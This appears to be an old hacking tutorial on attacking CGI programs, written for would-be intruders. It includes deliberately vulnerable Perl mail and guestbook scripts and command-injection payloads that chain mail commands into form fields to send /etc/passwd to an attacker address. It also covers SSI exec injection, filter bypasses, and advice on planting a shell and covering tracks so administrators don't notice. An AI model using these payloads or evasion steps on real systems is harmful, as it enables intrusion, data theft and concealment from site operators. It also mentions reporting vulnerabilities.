********************* by Chawmp * - Hacking CGI - * homepage: http://home.cyberarmy.com/chawmp * - Version 1.01c - * email: tom@holodeck.f9.co.uk ********************* ICQ: 2724168 Introduction ------------ CGI programs are a major source of security holes. On a typical site the server and config files may be secure, but if CGI programs are not meticulously checked before they are used then serious security flaws can often be uncovered. If at any time you are having difficulty, see the Notes section near the bottom of this document. CGI basics ========== The letters "CGI" stand for "Common Gateway Interface". CGI is a way to add flexibility to websites by providing a mechanism for programs to be executed on the server (sometimes with input from the user on the client-side), and for their output to be displayed back to the client (or just logged somewhere on the server for later inspection). These programs can be written in any language, but by far the most common is perl. Perl is ideal for handling text-based input easily, so it's the language of choice for many CGI developers. Usually the term "CGI script" actually refers to "perl script". What makes a CGI program dangerous? =================================== There are, for example, several places where CGI programs are made available for free. If you downloaded a set of perl scripts from a site such as this you would probably expect them to be bug-free and install them without a second thought. There are also the problems of time and operator competence. Most people don't have the time or the knowledge to go through a 5000-line bulletin board script to find that single vulnerable statement. This isn't just limited to free scripts though. Some very high-profile professional script-packages have recently been found to be vulnerable to attack. Preparation =========== If you know what script a site is using and it's freely available, get it! By examining the code and playing with it on your own system you'll be able to find holes a lot more easily than by just guessing. And your failed attempts won't be noticed by the server administrator. Methods of attack ================= Insecure shell calls -------------------- This applies to CGI programs written in many languages, but most commonly perl. If the program does not treat user input carefully there is a risk that a malicious user may craft it to be processed by the program in a dangerous way. Consider this example. The classic vulnerable "mail" script, for example a feedback form. A website visitor is asked for comments that will be sent to the webmaster's email address by a script running on the server. -- vuln1.html - The submission form -- Thankyou for visiting my site. Please submit your comments and suggestions here:

-- EOF -- -- vuln1.pl - The vulnerable perl script -- #!/usr/bin/perl # Output will be an html page print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the destination email address and comments in variables if ($name eq "address") { # Store the destination email address $address = $value; } elsif ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $address holds the address specified on the form, and # $comments holds the user's comments. # --- "Active" part # See discussion for details of this part open(MAIL,"| /bin/mail $address"); print MAIL "$comments"; close(MAIL); # --- End of "active" part # Print output for the user print < Thanks for your comments :) EOT -- EOF -- There are two files in the above example. The html file that takes the input from the user, and the vulnerable perl script. If you don't know perl then you don't need to try to understand how most of it works. Just know that the destination email address (as specified by a hidden form element in the html page) and the comments (from the textarea) are stored, and passed to the mail program inside the "active" part. In perl the open function is used to open a file, or more importantly here, a pipe. In this case a pipe to the command "/bin/mail webmaster@vulnerable.com" is opened and the comments are written to it, causing them to be emailed to the webmaster. Look at what's happening here. The "/bin/mail webmaster@vulnerable.com" command is produced by starting /bin/mail with the address specified by the html page. If a malicious user was to save a copy of the html locally, and modify it by changing the lines
to these: The action must now contain the complete URL since the html no longer resides on the server, and the email address has been replaced with your own. Now the comments will be sent to your email address. Now, what would happen if you were to change the email address part to this? value="hacker@root.com;mail hacker@root.com < /etc/passwd" Inside the script this email address would translate to the command "/bin/mail hacker@root.com;mail hacker@root.com < /etc/passwd" causing the password file to be mailed to your address :) (Note: I use /etc/passwd in examples throughout this document, but it is only for example purposes. Nowadays this file has limited value to an intruder as on modern systems the passwd file will not contain the actual password hashes). If you find that the script filters the ; character, you can always try the | character, or \n (a newline), as these both cause another command to be executed in a line. Bear in mind that using | will cause the output of the first command to be fed into the second (won't usually matter), and that to send a newline character over the web you must encode it as %0a. So the address part could now be value="hacker@root.com%0amail hacker@root.com < /etc/passwd" Insecure use of SSI ------------------- SSI means "Server Side Includes". These are instructions that can be placed in html files that are parsed by the server when the page is requested to give on-the-fly information. These pages are normally given the extension .shtml (or some shorter version), but this depends on the setup of the server. On some servers, all html documents are parsed. All includes take the form "". Here are some examples: Prints the current date Includes a common header section Displays the system's uptime There's a lot more you can do with SSI - take a look around on the net for more. If you could add your own SSI to a file that is parsed by the webserver, you would be able to execute commands, include files, etc. Many CGI programs do not take this into account. Here's an example: -- vuln2.shtml - A public comments page -- Thankyou for visiting my site. Please submit your comments and suggestions here:


Here's what other people have had to say:
-- EOF -- -- vuln2.pl - The vulnerable perl script -- #!/usr/bin/perl # Define the location of the page to be updated # Change this to the location of vuln2.shtml if you're trying this out $pagename = "/home/web/html/vuln2.shtml"; # Print content-type header print "Content-type: text/html\n\n"; # Get input from form into the @pairs array @pairs = split(/&/, $ENV{'QUERY_STRING'}); # For each name/value pair in the array foreach $pair (@pairs) { # Split the pair into their own variables ($name, $value) = split(/=/, $pair); # Convert the form-encoding back $name =~ tr/+/ /; $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; # Store the comments in a variable if ($name eq "comments") { # Store the comments $comments = $value; } } # At this point $comments holds the user's comments. # Separate each comment in the output file $comments .= "\n
\n"; # --- "Active" part # Open the file for read/write open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit); # Lock the file to prevent other processes opening it flock(FILE, 2); # Read the file into the @list array @list = ; # Search through the array and insert the comments just before the # line $linenum = 1; foreach $line (@list) { if ($line =~ /^/) { $linenum--; splice(@list, $linenum, 0, $comments); last; } $linenum++; } # Write the array back to the file seek(FILE,0,0); truncate(FILE,0); foreach $line (@list) { print FILE $line; } # Close the file close(FILE); # --- End "active" part # Print output for the user print < Thanks for your comments. Click here to return to the comments page :) EOT -- EOF -- These two files comprise a simple guestbook. You can see that the .shtml file uses SSI to display a common header and footer (using the include directive). When this file is sent to the browser the include directives will be replaced by the contents of the appropriate files. Note that the in the .shtml file is merely marking where the next comment should be inserted. It should not be confused with an SSI directive, as these all start Now, when you go back to the comments page you'll see the password file :) (Note: The file will appear to be one long line - this is simply because html doesn't insert line breaks at newlines. Use your browser's "view source" function to get a more readable output). This is ideal. However, some server admins disable the exec directive to prevent this type of attack. In this case the best you can do is use the include directive to include the contents of a file whose location you know, such as a password database file that is not available via the web with your current access rights, but still within the web root. Note that some files (such as CGI scripts) will not have their source included by using an include directive. From an intruder's point of view, the include directive has limited value, and without exec there isn't always much you can do. Buffer overflow --------------- This applies to CGI programs written in languages such as C. If the program does not validate its input properly a malicious user could overflow a buffer in the program to execute arbitrary code on the server. Since buffer overflows are beyond the scope of this article I won't go into any more detail, but information on this kind of attack is available to anyone who searches for it. A good article to read to get started with buffer overflows is "Smashing The Stack For Fun And Profit" in Phrack 49. Look it up. :) What to do once you're in ========================= First of all, don't pull an rm -Rf / . If you take note of anything I say, it should be that damaging sites is lame. Other than that, you have to make the decision whether what you're about to do is reasonable or not. Remember, unless you know what you're doing (which you probably don't since you're reading this) and you try anything stupid you'll get caught. One thing you might want to do is report the vulnerability. Mail the server admin and let them know - if they're a reasonable person they'll fix the hole, and you'll make a new friend :) If the hole is in a widely-distributed CGI program, report it to the creators so that it can be fixed for future versions, and current users can be warned. Presumably you're trying to break into the site for a reason - to get access to files, etc. Do what you want and come back out. And if you don't want to get noticed, clean up after yourself. In the above example, instead of just causing the password file (assuming it was your target file) in the page for everyone to see, you could write a bit of perl code to spawn a shell on the server, or provide a form interface in another file for easy access to further commands. After setting up something like this, try to put the original file back the way you found it, and chances are you won't get noticed for longer. Notes ===== In this document I use UNIX-style path and filenames. Most of the ideas I've discussed here work exactly the same under NT and other platforms, it's just that I wrote these examples on a Linux system. When you execute commands on the system, you do so with the rights of the user/ group the webserver runs as, which is usually nobody/nobody. This is enough access for complete control over the files the webserver uses though. I use perl scripts here for example purposes. If you don't know perl you only really need to pay attention to the sections marked '"active" part', as these are the sections that contain the vulnerable code. If you're testing these files out for yourself, make sure you set the file/pathnames correctly, and remember to chmod your cgi scripts 755 so that they are executable, and that you have specified the correct path to perl on your system in the first line of each script. Also, in the SSI example, you will need to chmod vuln2.shtml 777 since that file gets written to by the script. These scripts are just simple examples. Sometimes you have to do a little more work than this to get around filters, etc, but often it is possible. Experiment. For more info email or ICQ me (details at the top), or drop by my website to see if this file has been updated. Further information =================== There are a few articles out there. p41mit0 recommended this one: http://www.phreedom.org/en/issues/Phm23%20-%20Jordan%20Dimov%20-%20Security%20 Issues%20in%20Perl%20Scripts.txt (That's one long URL by the way). Greets ====== Everyone in the CyberArmy - there are too many to mention :) http://www.cyberarmy.com/zebulun - Come try our officers' challenge EOF